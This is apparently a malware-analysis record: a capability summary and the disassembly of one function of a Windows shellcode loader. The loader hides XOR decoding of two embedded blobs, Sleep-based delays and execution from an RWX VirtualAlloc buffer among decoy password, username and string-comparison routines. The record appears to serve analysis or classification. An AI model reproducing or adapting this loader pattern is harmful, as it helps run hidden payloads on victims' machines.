Function at 0x4011c0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push edi
push 0xc
call esi
mov edi, eax
add esp, 4
test edi, edi
je 0x40127f
push 0xc
mov dword [edi], 3
mov dword [edi + 4], 4
call esi
add esp, 4
mov dword [esp + 0xc], eax
mov dword [edi + 8], eax
test eax, eax
je 0x40127f
xor esi, esi
push 0x10
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov ecx, dword [esp + 0x10]
add esp, 4
mov dword [esi + ecx], eax
test eax, eax
je 0x40127f
add esi, 4
cmp esi, 0xc
jl 0x401207
push 4
push 3
push str.Table_dimensions:__d_rows_x__d_columns_n
call fcn.00401040
mov ecx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor esi, esi
add esp, 0xc
cmp dword [edi], esi
jle 0x401258
mov eax, dword [edi + 8]
push dword [eax + esi*4]
call ecx
mov ecx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
inc esi
add esp, 4
cmp esi, dword [edi]
jl 0x401242
push dword [edi + 8]
call ecx
add esp, 4
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call edi
add esp, 4
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov dword [esp + 0xc], eax
test eax, eax
jne 0x401294
push str.Memory_allocation_failed._n
call fcn.00401040
add esp, 4
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov edi, dword [esp + 0x10]
add esp, 4
xor esi, esi
nop
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0x3e
idiv ecx
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x4012b0
push edi
push str.Generated_Password:__s_n
mov byte [edi + 8], 0
call fcn.00401040
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call edi
add esp, 0xc
push str.Executing_code..._n
call fcn.00401040
add esp, 4
push 0x40
push 0x1000
push 0x2ae48
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov dword [esp + 0xc], esi
test esi, esi
jne 0x401329
push str.Error_allocating_memory_for_code._n
call fcn.00401040
lea eax, [esi + 1]
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.hello
call fcn.00401040
mov eax, 3
mov dword [esp + 0xc], 0xa
sub eax, 0x41b7a0
mov esi, 1
mov dword [esp + 0x14], eax
mov edi, 2
mov eax, 4
add esp, 4
xor ecx, ecx
sub esi, 0x41b7a0
sub edi, 0x41b7a0
sub eax, 0x41b7a0
mov dword [esp + 0x14], eax
mov eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x41b7a0], al
lea eax, [esi + 0x41b7a0]
add eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x41b7a1], al
lea eax, [edi + 0x41b7a0]
add eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x41b7a2], al
mov eax, dword [esp + 0x10]
lea eax, [eax + 0x41b7a0]
add eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x41b7a3], al
mov eax, dword [esp + 0x14]
lea eax, [eax + 0x41b7a0]
add eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x41b7a4], al
add ecx, 5
cmp ecx, 0x146c2
jb 0x401372
mov esi, 1
mov edi, 2
mov eax, 3
xor ecx, ecx
sub esi, 0x405018
sub edi, 0x405018
sub eax, 0x405018
mov dword [esp + 0x14], eax
nop dword [eax + eax]
mov eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x405018], al
lea eax, [esi + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x405019], al
lea eax, [edi + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x40501a], al
mov eax, dword [esp + 0x14]
lea eax, [eax + 0x405018]
add eax, ecx
cdq
idiv dword [esp + 8]
movzx eax, byte [edx + str.2371_45_68]
xor byte [ecx + 0x40501b], al
add ecx, 4
cmp ecx, 0x16784
jb 0x401430
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
nop dword [eax]
push 0
call edi
mov al, byte [esi + 0x41b7a0]
add al, 3
push esi
push 0x403344
mov byte [esi + 0x45b010], al
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x146c3
jb 0x4014b0
movaps xmm2, xmmword [str.BBBBBBBBBBBBBBBBKKKKKKKKKKKKKKKK]
xor eax, eax
movups xmm0, xmmword [eax + 0x41b7a0]
xorps xmm0, xmm2
movups xmmword [eax + 0x41b7a0], xmm0
movups xmm0, xmmword [eax + 0x41b7b0]
xorps xmm0, xmm2
movups xmmword [eax + 0x41b7b0], xmm0
movups xmm0, xmmword [eax + 0x41b7c0]
xorps xmm0, xmm2
movups xmmword [eax + 0x41b7c0], xmm0
movups xmm0, xmmword [eax + 0x41b7d0]
xorps xmm0, xmm2
movups xmmword [eax + 0x41b7d0], xmm0
add eax, 0x40
cmp eax, 0x146c0
jb 0x4014e2
cmp eax, 0x146c2
jae 0x40154f
nop word [eax + eax]
xor byte [eax + 0x41b7a0], 0x42
inc eax
cmp eax, 0x146c2
jb 0x401540
xor eax, eax
movups xmm0, xmmword [eax + 0x405018]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405018], xmm1
movups xmm0, xmmword [eax + 0x405028]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405028], xmm1
movups xmm0, xmmword [eax + 0x405038]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405038], xmm1
movups xmm0, xmmword [eax + 0x405048]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405048], xmm1
add eax, 0x40
cmp eax, 0x16780
jb 0x401551
cmp eax, 0x16784
jae 0x4015c1
xor byte [eax + 0x405018], 0x42
inc eax
cmp eax, 0x16784
jb 0x4015b2
mov esi, 0x31
push 0
call edi
sub esi, 1
jne 0x4015c6
nop
mov eax, esi
imul eax, esi
push eax
push 0x403348
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x64
jl 0x4015d0
push 0x2ae48
push 0x2ae48
push 0x146c3
push str._d__d__d
call fcn.00401040
add esp, 0x10
xor esi, esi
push 0
call edi
mov al, byte [esi + 0x45b010]
sub al, 3
push esi
push 0x403344
mov byte [esi + 0x4301c8], al
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x146c3
jb 0x401607
push 0x403358
call fcn.00401040
add esp, 4
push 0x2ae48
push 0x2ae48
push 0x146c3
push str._d__d__d
call fcn.00401040
push str.Generated_usernames:_n
call fcn.00401040
add esp, 0x14
mov dword [esp + 8], 0
nop dword [eax + eax]
push 9
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x40127f
xor esi, esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor edx, edx
mov ecx, 0x3e
div ecx
mov al, byte [edx + str.abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789]
mov byte [esi + edi], al
inc esi
cmp esi, 8
jl 0x401687
push edi
push 0x403374
mov byte [edi + 8], 0
call fcn.00401040
push edi
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call edi
mov esi, dword [esp + 0x14]
add esp, 0xc
inc esi
mov dword [esp + 8], esi
cmp esi, 0xb
jl 0x401670
push 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 4
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 4
push str.Generated_Dates:_n
call fcn.00401040
add esp, 4
mov dword [esp + 8], 0xc
call fcn.004010c0
mov esi, eax
push esi
push 0x403374
call fcn.00401040
push esi
call edi
add esp, 0xc
sub dword [esp + 8], 1
jne 0x4016f8
call fcn.004010c0
mov esi, eax
call fcn.004010c0
push esi
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edi, eax
call esi
add esp, 4
push edi
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 1
call edi
movaps xmm2, xmmword [0x4034d0]
xor eax, eax
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x41b7a0]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x41b7a0], xmm1
movups xmm0, xmmword [eax + 0x41b7b0]
movaps xmm1, xmm2
xorps xmm0, xmm2
movups xmmword [eax + 0x41b7b0], xmm0
movups xmm0, xmmword [eax + 0x41b7c0]
xorps xmm1, xmm0
movups xmmword [eax + 0x41b7c0], xmm1
movups xmm0, xmmword [eax + 0x41b7d0]
xorps xmm0, xmm2
movups xmmword [eax + 0x41b7d0], xmm0
add eax, 0x40
cmp eax, 0x146c0
jb 0x401750
cmp eax, 0x146c2
jae 0x4017bf
nop dword [eax + eax]
xor byte [eax + 0x41b7a0], 0x4b
inc eax
cmp eax, 0x146c2
jb 0x4017b0
xor eax, eax
movups xmm0, xmmword [eax + 0x405018]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405018], xmm1
movups xmm0, xmmword [eax + 0x405028]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405028], xmm1
movups xmm0, xmmword [eax + 0x405038]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405038], xmm1
movups xmm0, xmmword [eax + 0x405048]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [eax + 0x405048], xmm1
add eax, 0x40
cmp eax, 0x16780
jb 0x4017c1
cmp eax, 0x16784
jae 0x401831
xor byte [eax + 0x405018], 0x4b
inc eax
cmp eax, 0x16784
jb 0x401822
mov esi, dword [esp + 0xc]
push 0x146c3
push 0x41b7a0
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add esi, 0x146c3
mov dword [esp + 0xc], esi
push 0x16785
push 0x405018
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0x403138
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x40188c
push str.Error:_Could_not_get_the_module_handle_for_kernel32.dll_n
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push eax
call fcn.00401010
jmp 0x4018b0
push str.GetTickCount
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x4018a3
push str.Error:_Could_not_find_the_GetTickCount_function_in_kernel32.dll_n
jmp 0x401879
call eax
push eax
push str.Milliseconds_since_system_start:__lu_n
call fcn.00401040
add esp, 8
xor esi, esi
push 0
call edi
mov eax, esi
imul eax, esi
push eax
push 0x403348
call fcn.00401040
inc esi
add esp, 8
cmp esi, 0x3e8
jl 0x4018b5
push 0x403138
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
jne 0x4018fc
push str.Failed_to_load_kernel32.dll._n
call fcn.00401040
mov eax, 1
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.CompareStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x401924
push str.Failed_to_get_the_function_pointer._n
call fcn.00401040
mov eax, 1
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push str.banana
push 0xffffffffffffffff
push str.apple
push 0
push 0x400
call eax
cmp eax, 2
jne 0x40194f
push str.The_strings_are_equal._n
call fcn.00401040
add esp, 4
jmp 0x40198b
cmp eax, 1
jne 0x401963
push str.The_first_string_is_less_than_the_second._n
call fcn.00401040
add esp, 4
jmp 0x40198b
cmp eax, 3
jne 0x401977
push str.The_first_string_is_greater_than_the_second._n
call fcn.00401040
add esp, 4
jmp 0x40198b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Comparison_failed_with_error_code:__d_n
call fcn.00401040
add esp, 8
mov esi, dword [esp + 0xc]
call esi
push str.code_execution_complete._n
call fcn.00401040
add esp, 4
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret